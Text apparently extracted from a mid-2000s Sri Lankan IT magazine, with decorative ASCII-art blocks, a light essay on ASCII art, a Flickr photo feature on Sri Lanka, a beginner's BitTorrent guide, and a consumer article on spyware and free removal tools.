... . .. ...: :..::::.:.:..... .....:..... . . ::;:::;.. . :.. ......:.. . ;.:...:...::: ; . : . : : . ;:;:;.. .: ; . ; : ....: :.:.:.:::...: ssc;s.. .:: : .:sccc;: . ::SZEHDPY666ZDENNNHDP52.. ;::: .:.:.: 62DENNHE66252255666YYZPPPEHNNNNNNNNHHNNNNHNHHDDDEPZ65cs. SNNHNS6ss..:;. ;;PYNENENNNHNNNNPPZPZZPDHNNNEDZS6 : 622 . .... .. ; 2sS5ZYYZYYYYYY6665666ZSY6 : . :s;:s;;;;:;sscss;::. . ;:;: : . .: .ssss5625;:;s5Y665;s :;;.: ;;;::::ss;;;:;:;s;:::;55Y6PZYZYZPYPZZZ56;sssc225c2cccs;: .::: .:: : ;;;::;:;:ss;.;:sc5YYZPEENHNNHNYZPYNNNNNNNNDE66c25S56522css;.:.: . : : scs2c522c2255PENNNEHHNNNHEHHNNNNNENH6SPDDHHNHNDDZZ6652526SS62:; ::s : s656262S6DDNNDS52PNNNNDPHENHPH D6NHDHDHDEZZSYYPHNDP5;c22c26622:s.s : . 2625sY6HHED6cYDNNNNP ;DPNHNHEN.sN6NNHNDN5YNNNHYS22ZHDD6;s;ss2YS22 ; 5PYHPNNNNEEEEEH6; : 5NDEPPDNN .NNNNPEHN :. DEHN5s ;S662;s:::;22c5 : c2sZ6DDHDDZZPZP62s:: :56ND66DHs2NDYP5Z6N . 6SDNY6. .6c:s;;:. c2 ; :s;c;. : 65PN6c5YS62 .NPHDZDNNDP6YDN :.5YENZ2;: ss : :.. ; Y6YDS666s:;:. Y66S52PZYD:5 :c566DEZY5s56ENES; :: . c:SSYZ65SZPDPSYS6cs5; : ;5 DEHN: s2 . :: : ;:;:. :;: :s;:c6YPY.sPPss2;5Y .: . . . ::;cs:. 65 .;:s2 s:: ;ssc::.. :.:. .:;:.:::;;::;; .:.:s . ::.; .:. ;: . . . .: ;: . . ;: ..::.. . ..:.. :. . . . .. .:... . ..:... .. . .... .;: . ...... . .;.. :. . . ..: . ..... . . .. . . . : .:. . :.: . .:.. : ;;cs;;22;s ; : . . .;;;:;:;.: s s s.;.:.... . :cscs;s56NNNNYP ; : . ;:s:; ..:::.... .:s2s:s55DPHENNPHs5cc2 ;.::::::: . ... .cSYHY2; :.YYSZ6Ycc2 s;;:;;s:;..;;:::::.. .:. ss55ss. ;..:52PSS ;;s;s::;s::. ......... . . : 6 s;;:.::;c::..:.:::.. .... . c :..::::;s::::. .::.... ..... ; ;..::ss;s ..;s;::.:::.. . .. s;;:: .: ::::.:..:..::::.. . : .;s::. :::.:::;:... . :: :.. . ::. :;:;:....::::.. . :...... ..::::::::..:::::.. .. .:::::;s;....::s;:::s : ....:::. ::. ..:::.....:.::: . . . ..::: .s;. ::. ..c22S : ... .; ....::. .. . .. ..ssc2cs;::::: ss66;sZY22:;; :::;;:: .:::: .:: ..:..: . 2252562ssccccsc56PZDEHNDHNNEHNNH ;;; .:..:;. .:. :...::.. . . . s:6266652c22cccs266S6SSSY.2 ; 2 .:: ::...: ...:. ...... . : 2:SsDYY5S6SSS6YZPDDDEHHNHEDY6 : s:;:::: ..: ..:. ... . . s.ScNHNNNNNNNNNNNNNNNNNNNNNNNNNNNNNDEHEEYN ; ...::.: . .:..... .... . . . ; : . :; .c2SSYSEYE ;:::::;:;....:::........ ::.: . . ;;;::::::::::::. ..:: . :: . ;:css:ccssc226666Y5s;.. . ::;:::;::;s. :::;:..::.::: .:: ;:s;2c;:;s;:;cs;sss;; :: c 2 ;:;.:.. :;:.:::;: .:: ..: : 222css;;;ssssss:;cc : c E s:c:;:;;s;:::. ..:;;;::: ..:.: :.::.. s2662sssss;;;sssc:; ;:cs2 N2Z :c::....::;;::::::::::: ..:.. .. ::::.. :s265222ccs:: . sscc22 DNNs6 .:sss:.... .:.:::::::;::..:::: . .:::::. :ssccc255scssss;;::.:: 2NNNN22 .s:;;;:.:;::::::: .....::::.:........::..:::::::ssccc25555556566SY5 2Y6NNNN22 : .:::::. ..::.. .. ...::.. :::::.::s2c2ccc2ccc22526666662 6cs62ENNNSY. .::;: .:::::::::: .............. ::... . .:;cs2csscc556655c D252cY6NNNNDZs:. :;;::::::::;;.: ... ..: :: HYD2562PZHNNNDZ5;: ::;;:.: ..:.: HHNSPc;52YYENNNNNYcc :.: :.:.. . :: HHNPNYZ52S6ZPEHHNNNDss ::s :::.; : DHNPHDHYY2c66ZZDHHNNNNPS : :.;.; ..; . ..... HDDPESSPH66s:6YZZZZDNNNNEEs2 s s ; ; :.. . DDDDDEHPDENZ6s.2YZPZZZDHNNNN2Y s s ; : : PHHHHEEPD66ENZS2:5YZNPSYPDNNNNSP.5 2 s : : . PDPEDEHDH65ZPHNP5; sEEND56DDNNNNDN:S c s : : . . EYSDDHHDDDHY6PEENDYS:cPPHP56PZEDNNHN2D c.s : . .. .:. DDDPZEEDDHNPYS5PNDS6;cs6HEHDYSDZDPNNNNZH2Y:2.;::.. :. .:: PHHZPPZHNDDPDS5SYDNH66sc25EDHDPYHDPZEHNNDNSD25;s:..::::::;: ...::.:::::....: PEDEHZYDDDDENEEYcSDDNE66ss:sEPDPHPHDEDDEDNDNZD5522sss;;::::::::cs:;::;::;::; 6HEPZPPPPDEEEDDPZY6ZNHPZ66;scsZSEYEZNHHEEHDHDNPDZPS62;sssss;;::2c:sssss;s::; 2PPPPEEDDPZPPDHEEPSYYDNHPDYZs2;;S2PSEYNNEDPDDEDEDEDEDPZYS66256565c2222225665 H62PPPZPDDDPPZZPPDPZ66SZHEZP5Ysc625c6sEPNNEDPDPDZZZZPPDDDEDPPPZZZSYYSSY6S66S DHHYSPPPPPZDDDDDPPPPZYc6PPDDcS6Y22666cS2Z6NHHHDDPDPPZZZYZYZZPZZPPYZPPYZSZ56S 5PZDDPYZZDPEEHHHNDPPYZSYSYNH6Z5SSZssZSS5S2HDHHHHEEDDPPPPPZZPPZZYZSYZZYZYZSYY 262DPPPZYDDY6YZPHHHEPPYY6SSZHH;55S;s::S6Y5S5ZSEEHHDDPPPPPZZZZZPPPSYZZZZYZSSS YS6ZSPDYS66PDDPPDENNHHDP5S;2DPDD sPE;s:.S65262ZYDEEEDPZYYYYZYYZZZYYYZZZSYZZP HSYZYEEHH656SEHHHPYPHHNHDDs2ssNNYE;2NN2cssS662ZZZYPDHNEPPPPPPZZ6YPPYZYYYYZZY
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
In its time, canvas and oil-paint was a technological revolution in itself. Then Classical Art - already reeling from Impressionism and Cubism - took a direct hit from Photography and retreated to museums. And then ASCII Art ... changed nothing. It just looks cool. ASCII stands for the American Standard Code for Information Interchange. There was a SLSCII, but it got caught up in various committees and the world is still waiting on that. What ASCII does is convert letters into numbers. It is, in short, a Binary-to-English dictionary for Computer Tourists. When you type the letter “A” the computer looks it up in ASCII to find out what you’re talking about. What you really meant to say was 0100 0001. ASCII is such low-level code that any document writen in plain-text (like Notepad) can be read on any machine built after 1963. That is, if a computer fits in one room and doesn’t have mechanical pistons, it knows ASCII. This makes ASCII a palette for artists who want to reach anyone and everyone. And the paint is text. When cubicle-jockeys were peering at thick green screens through thick black glasses, ASCII porn was pretty cool, but with the advent of faster computers you got images that looked like, well, images. You would think that ASCII would die out, but the same small population of geeks that could stand it in the first place is still around. Right now there is more ASCII Art than ever, it’s just a much smaller percentage of the whole. Who makes ASCII Art today? Well, ASCII specific sites like www.asciibabes.com (guys too) and the comic www.nerd-boy.net (updated often). The real niche is with hackers and programmers. If you buy pirated software the text file that contains the Serial Number often has an ASCII Image to rep the hacker or clan that ripped the software in the first place. And all the fancy programs you use are really just text-files at the end of the day. People who write and read the code are just staring at text files. They
ASCII Art by Indi Samarajiva
stick ASCII in there for fun, or as diagrams. And then the Japanese, of course, have to outweird everyone else and develop the Glyph artform where “orz” means despair. It is a man kneeling - “o” is the head, “r” is the arms and shoulders, and “z” is the back and bent legs. The video that killed the ASCII Star was JPEG,
GIF and PNG. If you’re not familiar with those names you’ve certainly seen them. 99% of images on the net are in those formats, mostly JPEG. The flower above is a JPEG. From left-to-right you can see that it gets more and more crappy looking. This is an illustration (from Wikipedia) to show how the compression works. When you compress an image it downloads faster. JPEGs, GIFs and PNGs can produce images that look like, well, images and they rule the Net. What is interesting is that many free programs can convert JPEGs to ASCII without you having to painstakingly enter letter-by-letter. Today ASCII is seeing a small resurgence, one because it is easy to go from Image to ASCII and two, because Spammers are nothing if not creative. ASCII Movies: By mass converting frames, inteprid souls like romanm.ch and projects.c505. com/ascii_index.html have coverted film to text. Roman has made mini-versions of The Matrix, Spiderman, Terminator and more. They play like regular movies, only with ASCII instead of images. c505 has made ASCII music videos of Jimi Hendrix, Queen, and Led Zepplin. ASCII Spam: In a more insiduous development Spammers are starting to use ASCII images to get past word-based Spam filters. Porn sites in particular are using this tactic, so we may see a resurgence in ASCII as erotic art, harkening back to the days of lonely geeks at teletypes.
EEDHEEEHHNNHHEEEEHHHHHEEEHHEEEEEDDDDEENHNNEHDDDDHHEEDDDDHHHHHHHHHNNNNEEHHEEH SDPNNNNNNHHHHHHHHHHEEHHHHHHHHHHHHHHHDDEENHNNHHEDHHDDDEPZPZPPPDDEEHEHHNHHENHH NNNEEDDDPPPDDDDEEHHHEEEHHHHHHHHHHHHHHHEEHEHHHHHHEEDDEHDDDDPZYYYZZPPPPEENHNHH PYSSS66PPHEHHHHHHHEEHHHHHHEEDDEEDEEHDEDEDDEDEEEEHNHNDPDHHHNNNNDZYSYZYSYYYNNN PHENNNNNNHEHHHHHHHNNNHHEEEEHHHNNNNHNDDPPZZEDEEHHDDPPHNDZ6666DNNNNEEEDPP66YYP EHDEDEDEEEEHHHHHEEEEEHHHNNHHEEDDHHDEDEHHHHEEDEDHEEPZZZZPYZ2:s;2ZDNHNHDDPDZZZ PEDHHHEHENNHHEEEEHHEDDEDDPZPDDPPDDDEPDEDHEEEPD6SSYZPYYYSZDDDZS6c2SSNHNNEEDDD EHHDDEEHHDDDEEEDDDEDPDDEHEDEEEHHPPPPYYYSZYDDENPDZYYYYYPDDEDPPPPYY66YSEENNEEP PHHHHHEHNHNHHHHHHHHDZZZDHNNNNHEDZPDDHEEDEEDDDEZPPPEHDZDDDDEHDZPPPZPYYZZEDNHH PDPZYDDHNPDEHNNEP626YDNDY6s2ZYDDPPDPDDHEDDEEDEPPYYZZDEYSS6ZDENNEEDDZZSSZYHEH PDDEEEEZZPES62sccSZDHPY656YYPZPPDDEDEDHEEEEHNNNNNNEEEEHHEDDPPPDDDEEDDDDEDDPD PPPPDYPZD66cs66PPDEZS66YZPHEEEDDHEDZDPEDENENS6PDDHYSZPHHNNHHEDDEEEHHHPDDDZPD PPD6Y25;;cc66PPYS5222SZPPZYYZZYS52Y6PYHHDH26ZPPE6652YZPPEEEHHHHHEPDDEHHPDYZD Ys2:s6Y;:52YY6552YPPDY26S66622::c:S2HDEE6YPDHNDHY6YY6566DEHNHEEEEDDZZDDEHPDP 6ZPPD66YYDD2;cs5SZP6sc2YDZ52;;ccPSNEZZPDDNPEPHSYPDNNEPYSs ;2YHEEHNNNHDDDDDDP YSSss566S;:s;6YZPs s56Sc :ccYSDYPP6YYZcY c ;c6SS665256DZYYHENHEEEHP ; :.66. ::6Y66;.sccc;.. .:sZSYSS6YP6Y6Z2Y c:s:;:.. ..::6YYZYS525Y655EENNPPD c;c;:.c2ZD2c..:sssss;.::sYYEPSYZZ6S;c:s:2 ;sc:;..::. :2S6Y6s2DS;;YSNNP :62:.YZ66sc::s225s:. ..cSYDPPZ5666s2:s.; : :.... ..::::. :ss656cscEZcsNEN 622DD55.:s22522: :2YZDY5522:;sc:s;c;c.;:; ..:::... .:..::. :sYSEZZ662 N s22s2 :5Y . :26S662cs::.;scsc.;.:.: ..:.. ::.. ..:::. 2cYSEZc: Sc5c5s2 . 5PYS6256c:s22ccss:s.: ..: . ....::. ..::. ....:;:: . 2sNN6 c.;.s ::YZZZ2sss;:scc;s;;.. ....:: ..:::;: .:.::..;:s:s P6E ;s5 YSPP65ccscss;::.. ..: . ..... ::....:::::::::::;:..:...s.c.Y s : DD66ss:;;sss;:. ::.... .::... ....:...s:: 2 s:ZZ22;2:: :.:.. ...::.:;;;;;;::::s;;:c Y6YYc2.; ::;:;::.. .:::.::::::... s 6YY;c : . ..::::. ....::::. .::;;;:::; 2 ; ; : .. ..:::;:.. ::s;s s . . .:::.:...:...::..:.;;:.; : :. ... ... .....::..::ss.:::; ... ... . ....:::.::.:..: . .:;;;::::::;:.:..: .. ..... ..::::: ...::;:::.:: . .. ..:::::::... . ::::... ... .. ..:::....::::::;:;;:;. ... .... ..:: :.::....: :... .. . ... . :.:.:: . . . .....:..... .....:.:.::::..: . ..;:::;:: . ..:...... ..: :::...:...:.; . ; . : . : : :. ..;:;:; . ; :.... : ; :...:::.:.:.: ::. ..s;css :;cccs:. : :.:.:. :::; ..25PDHNNNEDZ666YPDHEZS:: . .sc56ZPEDDDHHNHNNNNHHNNNNNNNNHEPPPZYY66655225266EHNNED26 : 6SZDENNNHDPZZPZPPNNNNHNNNENENYP;; .;:..ss6SNHNNS : 6YSZ6665666YYYYYYZYYZ5Ss2 ; .. .... . 226 :.;;: s;566Y5s;:;5265ssss. :. . : :;:; . .::;sscss;:;;;;s:;s: . : ::. :::. :;sccc2c522csss;65ZZZPYPZYZYZP6Y55;:::;s;:;:;;;ss::::;;; : : . :.:.;ssc22565S52c66EDNNNNNNNNYPZYNHNNHNEEPZYY5cs:;.;ss:;:;::;;; : s:: ;:26SS6252566ZZDDNHNHHDDPS6HNENNNNNHHEHNNNHHENNNEP5522c225c2scs . : s.s:22662c22c;5PDNHPYYSZZEDHDHDHN6D HPHNEHPDNNNNP25SDNNDD6S262656s ; 22SY2ss;s;6DDHZ22SYHNNNY5NDNHNN6Ns.NEHNHNPD; PNNNNDYc6DEHH6Ys5262 : 5c22;:::s;266S; s5NHED .: NHEPNNNN. NNDPPEDN5 : ;6HEEEEENNNNPHYP5 ; 2c .:;;s:c6. .6YNDS6 . N6Z5PYDN2sHD66DN65: ::s26PZPZZDDHDD6Zs2c : ss :;2ZNEY5.: NDY6PDNNDZDHPN. 26SY5c6NP56 : .;c;s: :: ;SENE65s5YZED665c: 5:DYZP25S66Y .:;:s666SDY6Y ; ..: : :: . 2s :NHED 5; : ;5sc6SYSPDPZS56ZYSS:c . :. Y5;2ssPPs.YPY6c:;s: :;: .:;:; .:.: ..::css; ::s 2s:;. 56 .:sc;:: . . . ;.:: . s:.:. ;;::;;:::.:;:. . :; .:. :. . . . :; . :; . ..::.. . .: ..:.. .. . . ...:. .. ...:.. . :;. .... . ...... . .: ..;. . . :.. . . .. . . ..... . . . . .:. : s;22;;sc;; : ..:. . :.: s s :.;:;:;;;. . . : ; . : ; PYNNNN65s;scsc: . ....:.;.s 2cc5sHPNNEHPD55s:s2s:. ....:::.. ;:s:; 2ccY6ZSYY.: ;2YHYSc. ... . :::::::.; SSP25:..; .ss55ss .:. ..:::::;;..;:s;;:;;s 6 : . . ......... .::s;::s;s;; c . .... ..:::.:..::c;::.:;;s ; ..... ....::. .::::s;::::..: .. . ..:::.::;s;.. s;ss::..; . ..::::..:..:.:::: :. ::;;s :: . ...:;:::.::: .::s;. : . ..::::....:;:;: .:: . ..: s:::;s::....;s;:::::. .. ..:::::..::::::::.. ......: S22c.. .:: .;s. :::.. . . . :::.:.....:::.. .:: .:::.... : ;;:22YZs;66ss :::::;sc2css.. .. . .. .::.... ;. ... : HNNHENNHDNHEDZP65csccccss2652522 . :..:.. ::. ::::. ::;;::: 2 ; 2.YSSS6S662sccc22c2566626:s . . . ..::...: .:. .;:..:. ;;; : 6YDEHNHHEDDDPZY6SSS6S5YYDsS:2 : . ...... .:... :...:: ::. NYEEHEDNNNNNNNNNNNNNNNNNNNNNNNNNNNNNHNcS.s . . ... .:.. :.. ::::;:s EYESYSS2c. ;: . : ; . . . .... .....:. . :.::... ; . . :.:: ........:::....;:;:::::; . ..;s5Y666622csscc:ssc:; . :: . ::.. .::::::::::::;;; c :: ;;sss;sc;:;s;:;c2;s:; ::. :::.::..:;::: .s;::;:::;:: c : cc;:ssssss;;;ssc222 : :.. ::. :;:::.:;: ..:.;:; 2 2sc:; ;:csss;;;sssss2662s ..::.: :.:.. :::;;;:.. .:::;s;;:;:c:s E 22ccss . ::scc222562s: ..:::: .. ..:.. :::::::::::;;::....::c: Z2N ::.::;;sssscs552cccss: .:::::. . ::::..::;:::::::.:. ....:sss:. 6sNND 5YS66565555552cccss:::::::..::........:.::::..... :::::::;:.:;;;:s. 22NNNN2 26666662522ccc2ccc2c2s::.::::: ..::... .. ..::.. .:::::. : 22NNNN6Y2 c556655ccssc2sc;:. . ...:: .............. ::::::::::. :;::. .YSNNNE26sc6 :: :.. ... :.;;::::::::;;: .:sZDNNNN6Yc252D :.:.. :.:;;:: :;5ZDNNNHZP2652DYH :: . ..:.: :.: ccYNNNNNEYY25;cPSNHH : ;.::: s:: ssDNNNHHEPZ6S25ZYNPNHH ..... . ;.. ;.;.: : SPNNNNHHDZZ66c2YYHDHPNHD . ..: ; ; s s 2sEENNNNDZZZZY6:s66HPSSEPDDH : : ; s s Y2NNNNHDZZZPZY2.s6ZNEDPHEDDDDD . : : s 2 5.PSNNNNDPYSPNZY5:2SZNE66DPEEHHHHP . . : : s c S:NDNNNNDD65DNEEs ;5PNHPZ56HDHEDEPDP .:. .. . : s.c D2NHNNDEZP65PHPPc:SYDNEEP6YHDDDHHDDSYE ::. .: ..::;.2:Y2HZNNNNPDZDSYDHEH6sc;6SDNP5SYPNHDDEEZPDDD :....:::::.::... :;::::::..:s;52DSNDNNHEZPDHYPDHDE52cs66HNDYS5SDPDDNHZPPZHHP ;::;::;::;:sc::::::::;;sss2255DZNDNDEDDEDHPHPDPEs:ss66ENDDScYEENEDDDDYZHEDEP ;::s;sssss:c2::;;sssss;26SPZDPNDHDHEEHHNZEYESZscs;66ZPHNZ6YZPDDEEEDPPPPZPEH6 5665222222c56565266SYZPDEDEDEDEDDPDENNYESP2S;;2sZYDPHNDYYSPEEHDPPZPDDEEPPPP2 S66S6YSSYYSZZZPPPDEDDDPPZZZZDPDPDENNPEs6c526csY5PZEHZS66ZPDPPZZPPDDDPZPPP26H S65ZSZYPPZYPPZZPZZYZYZZZPPDPDDHHHN6Z2Sc66622Y6ScDDPP6cYZPPPPDDDDDZPPPPPSYHHD YYSZYZYZZYSZYZZPPZZPPPPPDDEEHHHHDH2S5SSZssZSS5Z6HNYSYSZYPPDNHHHEEPDZZYPDDZP5 SSSZYZZZZYSPPPZZZZZPPPPPDDHHEESZ5S5Y6S::s;S55;HHZSS6YYPPEHHHPZY6YDDYZPPPD262 PZZYSZZZYYYZZZYYZYYYYZPDEEEDYZ26256S.:s;EPs DDPD2;S5PDHHNNEDPPDDP66SYDPSZ6SY
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Flickr (www.flickr.com) is a community with the stated goals of sharing photos and finding new ways to organize them. On both counts Flickr is helping Sri Lanka form a vibrant image online. There are now thousands of photos uploaded and organized on Flickr and you can find them using Flickr’s innovating tagging system. Simply visit flickr.com/photos/tags/srilanka or flickr.com/photos/tags/lanka to get a sampling of the visual documentation. This section highlights a few of our favorite images online and their talented photographers.
flickr
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Hanging Flower by Satyajith (flickr.com/photos/sathyajith) /it-times/features/photos
“I caught this guy just as I finished buying myself a new pair of flip-flops to replace the pair that had gotten stolen the previous night in Kataragama, Sri Lanka.” Photo and caption by Roman Edirisinghe (flickr.com/ photos/romanedirisinghe)
Sunrise, by Juavenita (flickr.com/photos/juavenita)
Mahout Resting, by Baba Steve (flickr.com/photos/babasteve)
/it-times/features/photos
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Pettah Muslim Women by FredR (flickr.com/photos/fredr)
Sunday morning in Sri Lanka, we were up in the mountains, at a temple. The kid’s had just finished the hindu version of sunday school... by Saisiv (flickr.com/photos/ sai)
The Ancient City of Sigiriya is on the UN World Heritage List. The ruins of the capital built by King Kassapa in the fifth century lie on the steep slopes and at the summit of a 370 m high granite peak. The view from the top is well worth the climb. But look out for the monkeys. They may be more friendly than absolutely necessary... by s_st (flickr.com/photos/49079106@N00)
/it-times/features/photos
flickr
Kosgoda Turtle... by s_st (flickr.com/photos/49079106@N00)
Puple Lotus by omnia (flickr.com/photos/omnia)
To get your photos featured here, simply get a free Flickr account (www.flickr.com). Since Flickr’s purchase by Yahoo, you can now sign in with a Yahoo user/pass. Simply tag your photos as ‘srilanka’ or ‘lanka’ and they’ll get noticed. In fact, anyone searching for visuals of Sri Lanka can see your photos. Flickr is also a vibrant community with comments and ratings, and if you’re a good photographer you can get a lot of attention fast. It is also an awful lot of fun.
/it-times/feature/photos
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
BitTorrent creator Bram Cohen as Borg, himself, and a woman. From bitconjurer.org
BitTorrent
changing the face of downloading by Raveen Wijayatilake
how it works
P
eer to Peer Networking (p2p) was once synonymous with software such as Napster and Kazaa, as is still the case for most in Sri Lanka. However, something new and more sophisticated has been taking the world of p2p by storm for a few years now. Basically, someone invented a better way to transfer a file from A to B and everyone loves it. the story goes like ... In 2001 a computer geek named Bram Cohen, then 25, visited the annual Defcon ‘hacker’ convention in Las Vegas to show off his new toy... BitTorrent. It then debuted at Code Con 2002 the following year and gained popularity, being featured on many an online p2p magazine as well as a few respectable news sites. Fast forward a few years, and a significant percentage of internet traffic belongs to BitTorrent usage, the MPAA and RIAA hate it and Microsoft is attempting (unsuccessfully) to copy it. /it-times/features/p2p
So how does this new ‘king’ of p2p work? Let’s take a general example here. Imagine you are in a room with three other people. One of these people (lets call him Banda) has a complete jigsaw puzzle with him. The objective is to transfer a copy of the jigsaw to each of the other three people in the room in the most efficient way possible. Initially, Banda transfers a portion of the file to a person in the room. Simultaneously, he transfers a different portion to the other, and yet another portion to you. Now we have three different portions of the jigsaw puzzle, which if put together make one hundred percent. While Banda continues to transfer the rest of the jigsaw puzzle, each person in the room can now transfer their portions to each other as well. Let’s get a little geeky and use BitTorrent lingo, which you will need to know if you ever decide to venture into torrent territory. The jigsaw here is a file... let’s say a movie (Star_wars_
epIII_trailer.avi). Banda, who has the complete file is called a ‘Seed’. A person who doesn’t have the complete file is called a ‘leech’ or ‘leecher’. Both these types can be commonly called a ‘peer’. (e.g. I am downloading this file off 1 seed and 3 leechers. This means I’m connected to and downloading from 4 peers) So what happens is, a seed sends a different part of the file to each leecher. Each leecher in turn transfers parts of the file to other leechers. This way, if a seed disconnects, 100% of the file will still be able to be downloaded since there’s a full copy amongst the leechers. do it yourself Now that you know how the protocol works, it’s time for some hands-on experience. You’ll be happy to know that all software needed to delve into the BitTorrent world is free... and free of spyware/adware/malware and other annoying *ware’s. (you won’t find a BitTorrent ‘lite’ on the net, simply because it can’t get any ‘liter’) This is what you will be doing in short. In the BitTorrent world, all you download off websites are small files called torrents. (with a .torrent extension) Once you download the torrent onto your computer, you run it with a BitTorrent client. The BitTorrent client handles everything for you. What you need to get started is 1) A BitTorrent client and 2) Torrents.
For the readers who got totally lost reading all that, here’s a brief summary of how to get torrents working
0 1 bittorrent client There are as many BitTorrent clients out there as there are budding Rock groups in Sri Lanka. (ok maybe I was exaggerating, there are far more budding rock groups in SL) Each client having its own strengths and weaknesses. I recommend ‘BitComet’ which I myself use, though there are a few other really good clients. The official client is available at bittorrent.com and a popular open source downloader is at azureus.sourceforge.net. A simple Google search will link you to many more. The client is the software that keeps track of all your downloads. It’ll also present you with more information than you’ll know what to do with. Your client can allow you to chat to others, prioritize certain files in the torrent, etc. If I just confused you it’s ok, you probably don’t need those features anyway. torrents After you’ve downloaded and installed BitComet (ver 0.59 at the time of writing) you will need to find yourself a torrent of your choice. These can be downloaded off websites. Usually these sites have search facilities which allow you to search for the torrents you want. So if you are looking for the new Harry Potter movie trailer, you get yourself to a torrent site, search for ‘Harry Potter Trailer’. You will be presented with the results. Pick a result that suits your liking. You will then be able to download the respective torrent file
Download a BitTorrent client
Find the torrent you want online
2 Open 3 Download 4 Enjoy to your hard drive. Don’t worry, torrent files are usually less than 50kb’s in size. Popular sites are: • thepiratebay.org • mininova.org • isohunt.com • araditracker.com (registration) A small note about torrent sites that require registration - As a member of the site, you have to maintain a decent upload/download ratio. This means you can’t only download and not upload to fellow members. If you don’t share, you get kicked out. This assures you that the site will give you really fast downloads. At this point, many users new to torrents are surprised at how a 100mb plus trailer downloaded in 5 seconds. It didn’t. What actually downloaded is a TORRENT file and not the actual movie trailer. Think of a torrent as a small file telling your BitTorrent client where to find the 100mb file from. Right. At this point you have the items on my very short ‘what you need’ list. The complicated part is over.
Next, open the torrent file with your chosen BitTorrent client. What the next screens look like depend on the respective BitTorrent client, but initially the client will ask you where you want to save the file. Select a nice and spacy partition on your hard drive and click ok. That’s it! You can leave your computer and indulge in your favorite extra curricular activity while the torrent downloads. Small tip for ADSL users: It is recommended to limit your upload speed to 80% of your maximum upload speed. (e.g. for a 512kbps connection the maximum upload speed should be 16kbps. 80% of 16 would be roughly 13kbps. Since we don’t really get that maximum upload speed, setting it to around 10-12 kbps is safe.) By limiting your upload, you are avoiding saturating your connection. If you let all 16kbps of your upload bandwidth to be used, you will get really bad download rates. Student by day and gamer by night, Raveen is known to get very little sleep. We know his writing doesn’t show it, but that’s because we inject him with caffeine now and then. /it-times/features/p2p
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Spyware
by Indi Samarajiva
If you don’t know what Spyware is, then you have it As of 2004, Spyware is the #1 reason people seek professional computer repairs (Wikipedia). They go in complaining that their computer is slow and ‘not working’, but Spyware is the cause of the problem. In the simplest terms, Spyware is an advertising parasite. It infests your computer and begins spitting ads at you. Or worse. If you notice a new homepage, weird browser toolbar, and countless pop-ups, then Spyware has invaded your computer. You may also notice slowdowns since Spyware loads when you startup and uses your bandwidth to relay information about you back and forth to its corporate controller. If the Spyware is really out of control then Internet Explorer will basically be unusable. In some cases the Spyware will block normal sites altogether and redirect your traffic wherever it wants. One friend kept getting directed to a page asking for his email - to sell to Spammers. Spyware is horrible, but it is also a business. The biggest company, Claria (formerly Gator), made 90 million USD in revenue last year and
35 million in profit
/it-times/features/security
They are also paying taxes on that profit, cause the US government hasn’t outlawed the practice yet. Since most Spyware companies are American, the whole world will keep getting junk until they get it together. The basic business model is to install software on a computer which watches what the user is doing. If the user goes to a car website the software will pop-up a Thrifty Car Rental ad. If you click the ad then Thrifty will pay the Spyware a commission. This software can be removed from the Windows Control Panel, but many users don’t know that. The extra evil companies don’t let you uninstall their software at all. Beyond this lies purely criminal behavior. Companies like CoolWebSearch and Xu-piter will
hijack your browser.
If you enter dhs.com the spyware will send you to ups.com, or if you type in google.com they may just bounce you to a porn site. The next level beyond hijacking is fraud. Spyware like XXXDialer will use your phone line to call 1-900 numbers and run up huge bills, which you have to pay. And finally, wiretapping. Backorifice and various keyloggers will record your browsing habits and keystokes - including passwords and possibly even credit card numbers. All of these programs will slow-down your Internet, computer, and make your life worse.
Spy-Aware
1. Clean Your Computer. Now. Antivirus won’t do it. You need specific software. Fortunately, that software is easy and free. Visit spychecker.com. SpywareBlaster: This not only cleans your computer, it also fixes the dumb code in Internet Explorer that lets Spyware in. Spybot Search & Destroy: This is one of the oldest and the best. It cleans your PC and keeps it protected, though not as tightly as Blaster. It does clean really well, though. AdAware: LavaSoft has the slickest interface, but you’re only pressing one button for all these programs anyways. Running any (or a few) of these programs should fix 99% of your problems. In order to prevent new problems you need to...
2. Avoid Pirates KaZaA and Grokster pay their legal bills through Spyware. Sri Lanka has real-life piracy of software, movies, and music - so it’s almost a moot point anyways. If you’d still like to download then here’s a handy table:
EVIL Kazaa Morpheus Grokster Anything Else
NOT EVIL Kazaa Lite Limewire eMule (movies) BitTorrent
Limewire is a good desktop client, though BitTorrent is probably the safest overall. If you’d like to know what you’re doing visit www.zeropaid.com for in-depth reviews.
